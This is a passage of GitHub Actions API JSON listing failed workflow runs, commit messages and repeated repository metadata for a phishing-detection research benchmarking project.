users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":279321447,"node_id":"MDExOldvcmtmbG93UnVuMjc5MzIxNDQ3","head_branch":null,"head_sha":"689f648915575152c276bd40bc9a69d36f89b256","run_number":1035,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1263850540,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjYzODUwNTQw","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279321447","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/279321447","pull_requests":[],"created_at":"2020-09-29T21:26:22Z","updated_at":"2020-09-29T21:26:23Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279321447/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279321447/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1263850540","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279321447/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279321447/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279321447/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"689f648915575152c276bd40bc9a69d36f89b256","tree_id":"731d0ef529fd336368cc360c65152293dc39c65c","message":"ignore errors when outputing feature slection report","timestamp":"2020-09-29T21:24:52Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":277965026,"node_id":"MDExOldvcmtmbG93UnVuMjc3OTY1MDI2","head_branch":"test_fixes","head_sha":"dae9b0a8877c8aa3b7b315519655232b63a950ea","run_number":1021,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1259392190,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjU5MzkyMTkw","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277965026","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/277965026","pull_requests":[],"created_at":"2020-09-29T05:55:48Z","updated_at":"2020-09-29T06:11:11Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277965026/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277965026/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1259392190","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277965026/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277965026/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277965026/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"dae9b0a8877c8aa3b7b315519655232b63a950ea","tree_id":"d8585375b2c687955d4f47c2338d425ab8faaa39","message":"Fixed `KeyError: 'feature extraction'`","timestamp":"2020-09-29T05:55:39Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":277963475,"node_id":"MDExOldvcmtmbG93UnVuMjc3OTYzNDc1","head_branch":"master","head_sha":"cd5b7baeec5fc2e1ff6178703fa1f441371c3b1b","run_number":1020,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1259387018,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjU5Mzg3MDE4","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277963475","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/277963475","pull_requests":[],"created_at":"2020-09-29T05:53:51Z","updated_at":"2020-09-29T06:02:21Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277963475/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277963475/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1259387018","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277963475/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277963475/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277963475/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"cd5b7baeec5fc2e1ff6178703fa1f441371c3b1b","tree_id":"621fc57425593172e0036dddf0c303bcb95c426d","message":"Integration test improvements (#240)\n\n* Upload Generated config\r\n\r\n* Fixed Cleanup\r\n\r\n* Upload generate config v2\r\n\r\n* working-directory option\r\n\r\n* Split url_extraction folder","timestamp":"2020-09-29T05:53:49Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. 